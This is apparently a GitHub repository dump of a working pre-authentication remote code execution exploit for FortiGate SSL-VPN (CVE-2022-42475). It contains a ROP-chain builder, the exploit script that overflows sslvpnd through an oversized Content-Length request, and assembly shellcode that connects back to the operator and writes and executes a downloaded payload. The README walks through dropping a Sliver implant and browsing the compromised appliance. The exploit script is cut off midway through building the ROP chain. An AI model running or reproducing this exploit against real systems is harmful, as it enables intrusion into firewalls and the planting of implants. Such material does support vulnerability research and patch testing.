├── requirements.txt ├── shellcode.o ├── foxrop.py ├── README.md ├── shellcode.s └── CVE-2022-42475.py /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | -------------------------------------------------------------------------------- /shellcode.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xhaggis/CVE-2022-42475/HEAD/shellcode.o -------------------------------------------------------------------------------- /foxrop.py: -------------------------------------------------------------------------------- 1 | import json 2 | import struct 3 | 4 | # 5 | # We avoid he use of hard-coded stack addresses so that porting this exploit to 6 | # other versions of FortiOS doesn't get hindered by data-dependent bugs. We simply hard-code 7 | # function addresses taken from the GOT of sslvpnd and then do things the hard way to calculate 8 | # the data addresses we need. 9 | # 10 | 11 | # 12 | # Handy dandy class to simplify ROP buffer construction. 13 | # Assumes everything is a 64-but QWORD. 14 | # 15 | class ROP: 16 | def __init__(self, filename, sw_version, hw_version, debug=False, show_summary=True): 17 | self.filename = filename 18 | self.debug = debug 19 | self.ropOffs = 0 20 | self.rop = bytearray(b"") 21 | self.selected_sw_version = sw_version 22 | self.selected_hw_version = hw_version 23 | self.number_of_sw_versions = 0 24 | self.number_of_hw_versions = 0 25 | self.number_of_supported_targets = 0 26 | self.show_summary = show_summary 27 | self.bad_gadgets = {} 28 | self.import_gadgets() 29 | 30 | def clear_gadget_chain(self): 31 | self.rop = bytearray(b"") 32 | self.ropOffs = 0 33 | 34 | def import_gadgets(self): 35 | print("[+] Importing gadgets from '%s'" % self.filename) 36 | try: 37 | with open(self.filename) as f: 38 | self.gadgets = json.loads(f.read()) 39 | except Exception as e: 40 | print("error: ", e) 41 | exit(1) 42 | self.validate_imported_gadgets() 43 | 44 | # return an array containing all the hardware models applicable 45 | def hw_models(self): 46 | if self.selected_hw_version == None: 47 | return self.gadgets[self.selected_sw_version] 48 | else: 49 | return { self.selected_hw_version: self.gadgets[self.selected_sw_version][self.selected_hw_version] } 50 | 51 | def select_hw_version(self, hw_version): 52 | self.selected_hw_version = hw_version 53 | 54 | def validate_imported_gadgets(self): 55 | required_gadgets = [ 56 | "push rdx; adc byte [rbx+0x41], bl; pop rsp; pop rbp; ret;", # stack pivot 57 | "jmp rsp;", 58 | "jmp rax;", 59 | "pop rax; ret;", 60 | "pop rbx; ret;", 61 | "pop rdx; ret;", 62 | "pop rsi; ret;", 63 | "and rax, rdi; ret;", 64 | "add rsp, 0x18; ret;", 65 | "mov rdi, rax; call rbx;", 66 | "mprotect", 67 | "calloc", 68 | "AES_set_decrypt_key", 69 | "AES_cbc_encrypt" 70 | ] 71 | 72 | print("[+] Validating gadgets...") 73 | 74 | if len(self.gadgets) == 0: 75 | print("[!] Error, there's no software version information in the gadget file!") 76 | exit(1) 77 | 78 | for sw_version in self.gadgets: 79 | known_good_models = {} 80 | for hw_version in self.gadgets[sw_version]: 81 | imported_gadgets = self.gadgets[sw_version][hw_version] 82 | fail = False 83 | for required in required_gadgets: 84 | g = "stack pivot" if required == 'push rdx; adc byte [rbx+0x41], bl; pop rsp; pop rbp; ret;' else required 85 | if not required in imported_gadgets: 86 | if self.debug: print("[!] Required gadget '%s' is missing for %s on %s. Removed." % (g, hw_version, sw_version)) 87 | fail = True 88 | break 89 | 90 | if required in imported_gadgets and imported_gadgets[required] == "0xdeadbeef": 91 | if self.debug: print("[!] Required gadget '%s' is 0xdeadbeef for %s on %s. Removed." % (g, hw_version, sw_version)) 92 | fail = True 93 | break 94 | 95 | if not "ret;" in imported_gadgets: 96 | imported_gadgets["ret;"] = str(hex(int(imported_gadgets["pop rax; ret;"], 16) + 1)) 97 | #print("[+] RET gadget @ 0x%s" % imported_gadgets["ret;"]) 98 | 99 | known_good_models[hw_version] = imported_gadgets 100 | self.number_of_hw_versions += 1 101 | 102 | if len(known_good_models) == 0: 103 | print("[!] No functional hardware models were defined for FortiOS '%s'. Removed." % sw_version) 104 | del self.gadgets[sw_version][hw_version] 105 | else: 106 | self.gadgets[sw_version] = known_good_models 107 | self.number_of_sw_versions += 1 108 | print("Selected sw version: %s" % self.selected_sw_version) 109 | print("Selected hw version: %s" % self.selected_hw_version) 110 | if not self.selected_sw_version in self.gadgets: 111 | print("[!] Error, version '%s' is not supported by this exploit." % self.selected_sw_version) 112 | exit(1) 113 | 114 | if self.selected_hw_version is not None and self.selected_hw_version not in self.gadgets[self.selected_sw_version]: 115 | print("[!] Error, model %s not supported for v%s" % (self.selected_hw_version, self.selected_sw_version)) 116 | exit(1) 117 | 118 | print("[+] Imported %d targets:" % self.number_of_hw_versions) 119 | if self.show_summary is True: 120 | for sw_version in self.gadgets: 121 | hw_count_str = "[ %2s targets ]" % len(self.gadgets[sw_version]) 122 | selected_str = " <=== %s" % ("Brute-force all models" if self.selected_hw_version is None else self.selected_hw_version) 123 | print("[-] %s\t%s\t%s" % (sw_version, hw_count_str, selected_str if sw_version == self.selected_sw_version else "")) 124 | if self.debug: 125 | for hw_version in self.gadgets[sw_version]: 126 | print("[-] %s" % hw_version) 127 | 128 | 129 | # concatenates the QWORD (64-bit) gadget address to the ROP buffer (aka our fake stack) 130 | def add_gadget(self, gadget_str, count=1): 131 | gadgets = self.gadgets[self.selected_sw_version][self.selected_hw_version] 132 | 133 | if gadget_str not in gadgets: 134 | print("[!] Error! Gadget '%s' does not exist." % gadget_str) 135 | exit(0) 136 | 137 | addr = gadgets[gadget_str] 138 | #print("[!] \"%s\" = %s" % (gadget_str, addr)) 139 | for i in range(0,count): 140 | rop = self.rop 141 | rop += struct.pack('] Testing to see if target is vulnerable (may take 10 seconds) 38 | [+] Target '192.168.0.10:8443' appears to be VULNERABLE 39 | ``` 40 | 41 | ## Exploit, but validate (feature only available for FortiOS 6.0.4 on 100D appliances at present) 42 | This will trigger the bug, deploy a ROP chain, and jump to shellcode. The shellcode is benign and works as follows: 43 | 44 | * Exploit connects to target and triggers the vuln to execute shellcode 45 | * Shellcode connects back to operator's IP:port 46 | * Shellcode sends a single "hello" byte to the exploit: `0xbf` 47 | * Exploit delivers a small encrypted test payload to the shellcode (AES key is random each run) 48 | * Shellcode decrypts the payload and saves it to `/tmp/x` on the FortiGate appliance 49 | * Shellcode sends another single `0xbf` byte to the exploit if payload decryption was successful 50 | * Exploit reads the byte and confirms code execution. 51 | 52 | Flags: 53 | ``` 54 | -t target host/IP 55 | -p target port 56 | -e exploit mode 57 | -c connect-back only mode 58 | -H and -P operator's IP:port (required) 59 | -s software version of FortiOS (required) 60 | -m hardware model running FortiOS 61 | -d turn on debugging 62 | ``` 63 | 64 | An example where we select both software version `6.0.4` and the appliance model `100D`: 65 | ``` 66 | ┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475] 67 | └─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯ 68 | 69 | --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]-- 70 | --[ Bishop Fox Cosmos Team X ]-- 71 | 72 | [+] Generating random 128-bit AES key to encrypt payload 73 | [+] Encrypting payload... 74 | [+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh. 75 | [+] Configured for connect-back to 192.168.0.99:443 76 | [+] Starting encrypted payload listener... 77 | [+] Preparing for exploit... 78 | [+] Sending request! 79 | [+] Importing gadgets from 'exploit_data.json' 80 | [<] Listener bound to port 443, waiting for connect-back... 81 | [+] Validating gadgets... 82 | [!] No functional hardware models were defined for FortiOS '5.2.14'. Removed. 83 | [!] No functional hardware models were defined for FortiOS '5.6.9'. Removed. 84 | [+] Imported 797 targets: 85 | [-] 6.0.4 [ 1 targets ] <=== 100D 86 | [-] 5.2.14 [ 47 targets ] 87 | [-] 5.6.9 [ 60 targets ] 88 | [-] 6.0.13 [ 68 targets ] 89 | [-] 6.0.14 [ 67 targets ] 90 | [-] 6.0.15 [ 58 targets ] 91 | [-] 6.0.8 [ 67 targets ] 92 | [-] 6.2.11 [ 69 targets ] 93 | [-] 6.2.7 [ 75 targets ] 94 | [-] 6.4.10 [ 71 targets ] 95 | [-] 6.4.2 [ 62 targets ] 96 | [-] 6.4.3 [ 61 targets ] 97 | [-] 6.4.6 [ 73 targets ] 98 | [-] 6.4.9 [ 72 targets ] 99 | [-] 7.0.4 [ 53 targets ] 100 | [+] Starting exploit 101 | [<] Incoming request from 192.168.0.10:22470 102 | [<] Received hello packet from target!! Model #: 100D 103 | [<] Sending encrypted payload of 36 bytes 104 | [<] Finished sending payload (36 bytes), waiting for response... 105 | [<] Received the expected response ('100D') from 192.168.0.10 106 | [<] Target is VULNERABLE with 100% confidence. 107 | [+] All done! 108 | ``` 109 | 110 | If you omit the `-m` to choose a hardware model, the exploit will brute-force all hardware targets for the specified software version. 111 | 112 | ## Global thermonuclear warfare 113 | * Operator specifies the location of a Sliver implant binary (Linux-based) 114 | * Exploit connects to target and triggers the vuln to execute shellcode 115 | * Shellcode connects back to operator's IP:port 116 | * Shellcode sends a single "hello" byte to the exploit: `0xbf` 117 | * Exploit encrypts Sliver binary and sends it to the shellcode 118 | * Shellcode decrypts the binary and saves it to `/tmp/x` 119 | * Shellcode sends a "success" `0xbf` byte to the exploit 120 | * Exploit reads the byte and confirms code execution 121 | * Shellcode calls `execve("/tmp/x")` 122 | * ??? 123 | * Profit! 124 | 125 | Flags: 126 | ``` 127 | -t target host/IP 128 | -p target port 129 | -e exploit mode 130 | -f filename /path/to/binary/to/execve/on/target 131 | -H and -P operator's IP:port for connect-back (required) 132 | -s software version of FortiOS (required) 133 | -m hardware model running FortiOS 134 | -d turn on debugging 135 | ``` 136 | 137 | Sliver: 138 | ``` 139 | carl@pluto:~$ ./sliver-server_linux 140 | 141 | .------..------..------..------..------..------. 142 | |S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | 143 | | :/\: || :/\: || (\/) || :(): || (\/) || :(): | 144 | | :\/: || (__) || :\/: || ()() || :\/: || ()() | 145 | | '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| 146 | `------'`------'`------'`------'`------'`------' 147 | 148 | All hackers gain living weapon 149 | [*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2 150 | [*] Welcome to the sliver shell, please type 'help' for options 151 | 152 | [server] sliver > mtls -l 8888 153 | 154 | [*] Starting mTLS listener ... 155 | 156 | [*] Successfully started job #1 157 | ``` 158 | 159 | Exploit: 160 | ``` 161 | $ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 162 | 163 | --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]-- 164 | --[ Bishop Fox Cosmos Team X ]-- 165 | 166 | [+] Exploit will attempt to execve("implant5") on the target 167 | ... 168 | [<] Target is VULNERABLE with 100% confidence. 169 | [+] All done. 170 | ``` 171 | 172 | And back in Sliver: 173 | ``` 174 | [*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST 175 | 176 | [server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad 177 | 178 | [*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad) 179 | 180 | [server] sliver (implant5) > whoami 181 | 182 | Logon ID: 183 | 184 | [server] sliver (implant5) > ls 185 | 186 | / (19 items, 10.0 KiB) 187 | ====================== 188 | -rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023 189 | drwxr-xr-x bin Tue Jan 31 11:04:35 +0000 2023 190 | drwxr-xr-x data Tue Jan 31 05:24:10 +0000 2023 191 | drwxr-xr-x data2 Tue Jan 31 11:40:01 +0000 2023 192 | drwxr-xr-x dev Tue Jan 31 05:26:16 +0000 2023 193 | Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019 194 | Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019 195 | Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019 196 | drwxr-xr-x lib Mon Jan 07 18:03:30 +0000 2019 197 | Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019 198 | drwxr-xr-x migadmin Tue Jan 31 05:23:26 +0000 2023 199 | dr-xr-xr-x proc Tue Jan 31 05:23:13 +0000 2023 200 | drwx------ root Mon Jan 07 17:17:34 +0000 2019 201 | drwxr-xr-x sbin Tue Jan 31 05:23:27 +0000 2023 202 | drwxr-xr-x security-rating Mon Jan 07 18:01:04 +0000 2019 203 | drwxr-xr-x sys Tue Jan 31 05:23:27 +0000 2023 204 | dtrwxrwxrwx tmp Tue Jan 31 11:40:01 +0000 2023 205 | drwxr-xr-x usr Tue Jan 31 05:23:27 +0000 2023 206 | drwxr-xr-x var Tue Jan 31 05:24:07 +0000 2023 207 | ``` 208 | 209 | Note that Sliver returns `` because FortiOS is kinda mostly sorta Linux, and doesn't always work the way that you'd expect. This is an issue with FortiOS, not Sliver. 210 | 211 | ## More versions coming soon 212 | I no longer work at Bishop Fox so you'll need to follow the BF github for updates on this. 213 | -------------------------------------------------------------------------------- /shellcode.s: -------------------------------------------------------------------------------- 1 | # assemble: as -o shellcode.o shellcode.s 2 | # convert: objdump -d -M intel shellcode.o|egrep '^...[a-z0-9]:'|cut -c 7-28|tr -d '\n'|tr -d ' '|tr -d '\t'|sed 's/\(..\)/\\x\1/g' 3 | 4 | .global _shellcode 5 | .global _readloop 6 | .text 7 | 8 | _shellcode: 9 | 10 | # socket(2) 11 | movq $0x2, %rdi # AF_INET 12 | movq $0x1, %rsi # SOCK_STREAM 13 | movq $0x0, %rdx # 0 14 | movq $0x29, %rax # 41 = 0x29 = socket syscall 15 | syscall # rax = socket(AF_INET, SOCK_STREAM, 0); 16 | movq %rax, %rbx # save socket fd in rbx 17 | 18 | 19 | # connect(2) 20 | 21 | # We're going to build a hokey sockaddr_in struct using registers, then push it to the stack. 22 | # Here's the struct: 23 | # 24 | # struct sockaddr_in { 25 | # short sin_family; // e.g. AF_INET 26 | # unsigned short sin_port; // e.g. htons(3490) 27 | # struct in_addr sin_addr; // see struct in_addr, below 28 | # char sin_zero[8]; // zero this by convention 29 | # }; 30 | # 31 | # struct in_addr { 32 | # unsigned long s_addr; // little endian byte order IPv4 address 33 | # }; 34 | xorq %rdx, %rdx 35 | pushq %rdx # push 0x0000000000000000 (sockaddr_in->sin_zero) 36 | # I = IP address 37 | # P = TCP port 38 | # F = AF_INET 39 | # IIIIIIIIPPPPFFFF 40 | movq $0x5858585858580002, %rdx # sockaddr_in-> sin_addr, sin_port, sin_family 41 | pushq %rdx # store it after sin_zero on the stack 42 | movq %rax, %rdi # %rax = sock # from socket() syscall 43 | movq $0x10, %rdx # sizeof(sockaddr_in) = 16 bytes 44 | movq %rsp, %rsi # sockaddr_in struct is on stack @ %rsp 45 | movq $0x2a, %rax # connect(2) syscall 46 | syscall 47 | 48 | # write(2) response to the stager to say hello 49 | subq $0x20, %rsi 50 | movabs $0x3838383838383838, %rax 51 | movq %rax, (%rsi) # response contains whatever the exploit patched in here. 52 | movq %rbx, %rdi # socket fd -> rdi 53 | movq $0x8, %rdx # payload len = 8 bytes 54 | movq $0x1, %rax # write(2) syscall 55 | syscall # connect() to hax0r host 56 | 57 | # read(2) 4 bytes to use as size X for next read 58 | movq %rbx, %rdi # fd -> rdi 59 | movq %rsp, %rsi # stack ptr -> rsi 60 | subq $0x8, %rsi # move rsi up 8 bytes (storage location) 61 | movq $0x4, %rdx # read 4 bytes 62 | movq $0x0, %rax # read(2) system call 63 | syscall # read 4 bytes from socket. use it as for the next payload. 64 | 65 | # save the payload size in r13 66 | movq (%rsi), %rdx # rdx = num bytes to read from socket 67 | movq %rdx, %r13 # save payload size in r13 68 | 69 | # calloc(size_of_encrypted_payload) 70 | movabs $0x3535353535353535, %rax 71 | movq %r13, %rdi 72 | movq $0x1, %rsi 73 | callq *%rax 74 | 75 | # read(2) X bytes of payload 76 | # 77 | # It's word / byte size issues here. 4byte len, 8byte regs. 78 | # 79 | movq %r13, %rdx # encrypted payload size in bytes 80 | movq %rbx, %rdi # socket fd 81 | movq %rax, %rsi # address of calloc()'d buffer 82 | movq %rsi, %r12 # save calculated payload address in r12 83 | xorq %rcx, %rcx # flags = 0 84 | movq $0x0, %r8 # srcaddr = NULL 85 | movq $0x0, %r9 # addrlen = 0 86 | xorq %r10, %r10 # use r10 to track total bytes read so far 87 | 88 | # rdi = fd 89 | # rsi = storage ptr 90 | # rdx = num bytes to read 91 | # rcx = flags 92 | # r8 = NULL 93 | # r9 = 0 94 | # rax = 0x2d (recvfrom syscall #) 95 | # call: recvfrom(rdi, rsi, rdx, rcx, r8, r9) 96 | # r13 = size of payload 97 | # r15 = num bytes left to read 98 | _readloop: 99 | movq $0x2d, %rax # recvfrom(2) syscall 100 | syscall # try to read rdx bytes 101 | cmpq $-0x1, %rax 102 | jle _readfinished # abort on error 103 | addq %rax, %r10 # keep track of total bytes read 104 | addq %rax, %rsi # add num bytes just read to payload buffer address 105 | movq %r13, %r11 106 | subq %r10, %r11 107 | movq %r11, %rdx 108 | cmpq %r10, %r13 # if we read all the bytes... 109 | jg _readloop # ...then exit the loop, otherwise read some more 110 | 111 | _readfinished: 112 | 113 | # we have finished reading the payload. 114 | # write(0xbf) goodbye response to the stager. 115 | movq %rsp, %rsi # source buffer is in rsi 116 | addq $0x8, %rsi # clobber the start of the shellcode nop sled, who cares 117 | movabs $0x3838383838383838, %rax 118 | movq %rax, (%rsi) # response contains whatever the exploit patched in here. 119 | movq %rbx, %rdi # socket fd -> rdi 120 | movq $0x8, %rdx # payload len = 8 bytes 121 | movq $0x1, %rax # write(2) syscall 122 | syscall 123 | 124 | # close the socket 125 | movq %rbx, %rdi # socket fd -> rdi 126 | movq $0x3, %rax # close(2) 127 | syscall # close the socket 128 | 129 | # at this point we have the encrypted payload in memory. r12 is a pointer. 130 | # create another pointer: 131 | # r14 -> buffer for decrypted payload (re-use the encrypted buffer!) 132 | movq %r12, %r14 133 | 134 | # r15 -> AES_key struct (244 bytes, but allow more) 135 | movq %rsp, %rdx 136 | subq $0x200, %rdx 137 | movq %rdx, %r15 138 | 139 | # r10 -> actual AES key (16 bytes) 140 | subq $0x10, %rdx 141 | movq %rdx, %r10 142 | 143 | # r11 -> iv 144 | subq $0x10, %rdx 145 | movq %rdx, %r11 146 | 147 | # reminder of things in callee-saved regs at this stage: 148 | # r12 = ptr to encrypted payload 149 | # r13 = length of encrypted payload 150 | # r14 = ptr to buffer for decrypted payload 151 | # r15 = OpenSSL AES_key struct 152 | # and caller-saved: 153 | # r10 = AES key 154 | # r11 = iv 155 | 156 | # These placeholders will be patched by the exploit at runtime. 157 | # The patched bytes are a one-time-use 128-bit AES key used by the exploit 158 | # to encrypt the payload we just received. We'll decrypt it next. 159 | # First let's push the 16-byte key onto the stack. 160 | movabs $0x3030303030303030, %rax 161 | movq %r10, %rdx 162 | movq %rax, (%rdx) 163 | movabs $0x3131313131313131, %rax 164 | movq %rax, 0x8(%rdx, 1) 165 | 166 | # put the IV adjacent to the AES key on the stack 167 | movabs $0x0, %rax 168 | movq %r11, %rdx 169 | movq %rax, (%rdx) 170 | movq %rax, 0x8(%rdx, 1) 171 | 172 | # setup and call OpenSSL's AES_set_decrypt_key() 173 | movq %r10, %rdi # ptr to AES key bytes 174 | movq $0x80, %rsi # 128 (0x80) bits 175 | movq %r15, %rdx # AES_key struct address 176 | movabs $0x3333333333333333, %rax # replaced at runtim with real GOT address 177 | movq %rax, %rcx # address of AES_set_decrypt_key() 178 | movq %rsp, %rbx 179 | addq $0x4000,%rsp 180 | callq *%rcx 181 | movq %rbx, %rsp 182 | 183 | # setup and call OpenSSL's AES_cbc_encrypt() 184 | movq %r12, %rdi # encrypted data 185 | movq %r14, %rsi # buffer for decrypted data 186 | movq %r13, %rdx # encrypted data length 187 | movq %r15, %rcx # OpenSSL AES_key struct 188 | movq %r15, %r8 189 | subq $0x20, %r8 # iv 190 | movq $0x0, %r9 # AES_DECRYPT 191 | movabs $0x3434343434343434, %rax # AES_cbc_encrypt() 192 | movq %rsp, %rbx 193 | addq $0x4000,%rsp 194 | callq *%rax 195 | movq %rbx, %rsp 196 | 197 | # write the cleartext payload to disk 198 | 199 | # open("/tmp/x", O_CREAT | O_RDWR) 200 | movabs $0x00782f706d742f, %rax # /tmp/x\x00 201 | movq %rsp, %rdi # stack ptr -> rdi 202 | subq $0x8, %rdi # we'll place filename at rsp-8 203 | movq %rax, (%rdi) # store filename on stack at rsp-8 204 | movq $0x42, %rsi # O_CREAT | O_RDWR 205 | movq $0x1ff, %rdx # 0777 & OS umask = 0755 206 | movq $0x2, %rax # open(2) 207 | syscall # open("/tmp/x", O_CREAT | O_RDWR, 0777); 208 | 209 | # write(payload) to "/tmp/x" 210 | # The value 0x3232323232323232 will be patched at runtime by the exploit and 211 | # contains the real length of the payload, not the padded length used for AES CBC. 212 | movq %rax, %rdi # /tmp/x fd -> rdi 213 | movq %rax, %r13 # save a copy of the fd 214 | movq %r14, %rsi # decrypted payload address -> rsi 215 | movabs $0x3232323232323232, %rax # payload len -> rdx 216 | movq %rax, %rdx 217 | movq $0x1, %rax # write(2) syscall 218 | syscall # write payload to /tmp/x 219 | 220 | # close "/tmp/x" 221 | movq %r13, %rdi # file fd -> rdi 222 | movq $0x3, %rax # close(2) 223 | syscall # close the /tmp/x file descriptor 224 | 225 | # call execve() 226 | movabs $0x00782f706d742f, %rax # /tmp/x\x00 227 | movq %rax, (%r12) # "/tmp/x\x00" into mem @ r14 228 | movq %r12, %rdi # address of /tmp/x into rdi 229 | movq $0x0, %rsi 230 | movq $0x0, %rdx 231 | movq $0x3b, %rax # execve syscall 232 | syscall 233 | 234 | _final: 235 | # call _exit() # exit cleanly. The watchdog restarts sslvpnd. 236 | movq $0xe7, %rax 237 | xorq %rdi, %rdi 238 | syscall 239 | 240 | ####### EOF is never reached ######## 241 | -------------------------------------------------------------------------------- /CVE-2022-42475.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | import time 6 | import socket 7 | import struct 8 | import ssl 9 | import threading 10 | import binascii 11 | import argparse 12 | from subprocess import run 13 | import json 14 | import atexit 15 | import signal 16 | 17 | from foxrop import ROP 18 | 19 | # pip install PyCryto 20 | # pip install pycryptodome 21 | from Crypto.Cipher import AES 22 | from Crypto.Util.Padding import pad, unpad 23 | 24 | # 25 | # Constants 26 | # 27 | PADDING = 0x4141414141414141 28 | PADDING_LEN = 1024*12 29 | HEAD_PAD_LENGTH = 154 30 | CONTENT_LENGTH = b"4294967297" 31 | CHMOD_ATTR = 0x1ff # 0777 32 | PROT_RWX = 7 33 | MEM_LEN = 0x5000 34 | SIGTRAP = 0xcccccccccccccccc # INT 3 35 | CONNECT_BACK_TIMEOUT = 20 # 36 | CONNECT_HELLO_TIMEOUT = 10 37 | 38 | # turns out i didn't plan well-enough ahead ;) 39 | _global_exploit_was_triggered = False 40 | _global_expected_hw_versions = [] 41 | 42 | 43 | # 44 | # Does exploity things 45 | # 46 | class SSLVPNExploit: 47 | def __init__(self, host, port, sw_version, hw_version=None, connectBackHost="127.0.0.1", connectBackPort=443, debug=False): 48 | self.debug = debug 49 | self.host = host 50 | self.port = port 51 | self.connectBackHost = connectBackHost 52 | self.connectBackPort = connectBackPort 53 | self.AES_key = b"" 54 | self.sw_version = sw_version 55 | self.hw_version = hw_version 56 | self.socket = None 57 | 58 | print("[+] Using cached shellcode. Edit %s (look for 'shellcode.s') to force refresh." % sys.argv[0]) 59 | print("[+] Configured for connect-back to %s:%d" % (self.connectBackHost, self.connectBackPort)) 60 | 61 | # connect to the remote SSLVPN webserver or die trying 62 | def connect(self): 63 | tries = 1 64 | useSSL = False 65 | while tries <= 6: 66 | try: 67 | #print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='') 68 | self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 69 | if useSSL == True: 70 | ctx = ssl._create_unverified_context() 71 | self.socket = ctx.wrap_socket(self.cleartext_socket) 72 | else: 73 | self.socket = self.cleartext_socket 74 | self.socket.settimeout(2.0) 75 | self.socket.connect((self.host, self.port)) 76 | 77 | return self.socket 78 | except socket.timeout as e: 79 | tries += 1 80 | continue 81 | 82 | return None 83 | 84 | # Used for patching a 4-byte IP address into the shellcode 85 | def ip_as_bytes(self, IP): 86 | octets = IP.split(".") 87 | for i in range(0,4): 88 | octets[i] = int(octets[i]) 89 | return bytearray(octets) 90 | 91 | # used by the shellcode's payload decryption routine 92 | def set_AES_key(self, key): 93 | self.AES_key = key 94 | 95 | # we hard-code this into the shellcode. It's the non-padded length of the payload. 96 | def set_payload_length(self, length): 97 | self.payload_length = length 98 | 99 | # Test for vulnerability 100 | # This will return one of three states: 101 | # False = Not vulnerable 102 | # True = Probably vulnerable 103 | # None = An unexpected result occurred 104 | def is_vulnerable(self): 105 | req = bytearray(b"") 106 | req += b"POST /remote/logincheck?KEEP=THIS HTTP/1.1\r\nHost: " + self.host.encode() + b": " + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n" 107 | req += b"AAAAAAAA"*(PADDING_LEN) 108 | 109 | print("[>] Testing to see if target is vulnerable (may take 10 seconds)") 110 | if self.connect() == None: 111 | print("[!] Error connecting to target") 112 | exit(1) 113 | 114 | try: 115 | # Send the payload. Vuln instances will crash, severing the connection and 116 | # causing an exception to be thrown here. 117 | self.socket.sendall(req) 118 | 119 | # If this read succeeds then the target is probably not vulnerable. 120 | # If it times out, then it's also probably not vulnerable. 121 | self.socket.settimeout(10) 122 | buf = self.socket.recv(1048576) 123 | 124 | # If the remote end disconnects without an HTTP response then it's vulnerable. 125 | if len(buf) == 0: 126 | return True 127 | 128 | # Check to see if it has the vendor patch applied 129 | if buf.decode().__contains__("HTTP/1.1 413 Request Entity Too Large"): 130 | print("[>] Target is patched.") 131 | return False # 100% confidence that it's not vulnerable. 132 | 133 | # Ok, something weird and unexpected happened. 134 | print("[>] An unexpected response (%d bytes) was recieved:" % len(buf)) 135 | print("----- BEGIN RESPONSE -----") 136 | print(buf.decode().replace("\\r\\n", "\n")) 137 | print("----- END RESPONSE -----") 138 | self.close() 139 | return None 140 | 141 | except socket.timeout as e: 142 | print("[>] Target waited for more data. Not vulnerable.") 143 | return False 144 | except Exception as e: 145 | print("[>] Target dropped the connection, which indicates a vulnerable device!") 146 | #print(e) 147 | return True 148 | 149 | # If successful, runs our connect-back shellcode on affected FortiGate firewall 150 | def do_exploit(self): 151 | global _global_exploit_was_triggered 152 | global _global_expected_hw_versions 153 | 154 | # verify that the target is vulnerable 155 | result = self.is_vulnerable() 156 | if result is not True: 157 | exit(1) 158 | 159 | # Start an empty ROP chain 160 | rop = ROP("exploit_data.json", self.sw_version, self.hw_version, self.debug) 161 | 162 | # brute-force our way through the hardware (or just exploit the selected hardware, if specified) 163 | num_models = len(rop.hw_models()) 164 | curr_model = 1 165 | anti_ban_counter = 0 166 | 167 | print("[+] Starting exploit") 168 | 169 | for hw_version in rop.hw_models().keys(): 170 | 171 | rop.select_hw_version(hw_version) 172 | rop.clear_gadget_chain() 173 | 174 | # TODO: make this pretty 175 | req = bytearray(b"") 176 | #req += b"POST /remote/logincheck?KEEP=THIS HTTP/1.1\r\nHost: " + self.host.encode() + b": " + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n" 177 | req += b"POST /remote/logincheck?magic=aaa HTTP/1.1\r\nHost: " + self.host.encode() + b": " + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n" 178 | 179 | # Just padding the start of the ROP buffer 180 | rop.add_padding(HEAD_PAD_LENGTH-2) # this is of no consequense 181 | 182 | # Stage 2 - The stack pivot gadget dumps us here. 183 | # Stage 2.5 - "slide" down the stack by popping RETs 184 | # The hit a "add rsp, 0x18" to add 0x18 (24) bytes to $rsp. 185 | # We do this to "jump over" the stack pivot gadget and land in ~ 100kb of space that we control. 186 | # Not all platforms will give us a "add rsp, 0x18" gadget, but we might get "add rsp, xxx", so 187 | # we use RET to get us right up to the pivot and then jump over it using whatever gadget we can. 188 | # We land in another RET sled to account for not knowing the jump size in advance. 189 | rop.add_gadget("ret;", 23) 190 | rop.add_gadget("add rsp, 0x18; ret;") 191 | 192 | # Stage 1 - Entry point of the ROP chain. 193 | # 194 | # The exploit sets $rip to the address of STACK_PIVOT_GADGET then RETs to stage 2, above. 195 | # This part will be jumped over by stage 2.5, above. 196 | #rop.add_gadget("push rdx; adc byte [rbx + 0x41], bl; pop rsp; pop rbp; ret;") # Entry point: overwrite rip with the stack pivot gadget. 197 | rop.add_gadget("push rdx; adc [rbx+0x41], bl; pop rsp; pop rbp; ret;") # Entry point: overwrite rip with the stack pivot gadget. 198 | 199 | # Stage 3 - RET sled 200 | # 201 | rop.add_gadget("ret;", 32) # RET sled 202 | 203 | # Stage 4 - Calculate aligned memory page for stack address 204 | rop.add_gadget("pop rax; ret;") 205 | rop.add_immediate(0xfffffffffffff000) 206 | 207 | rop.add_gadget("and rax, rdi; ret;") 208 | rop.add_gadget("pop rbx; ret;") 209 | rop.add_gadget("add rsp, 0x18; ret;") 210 | 211 | rop.add_gadget("mov rdi, rax; call rbx;") 212 | 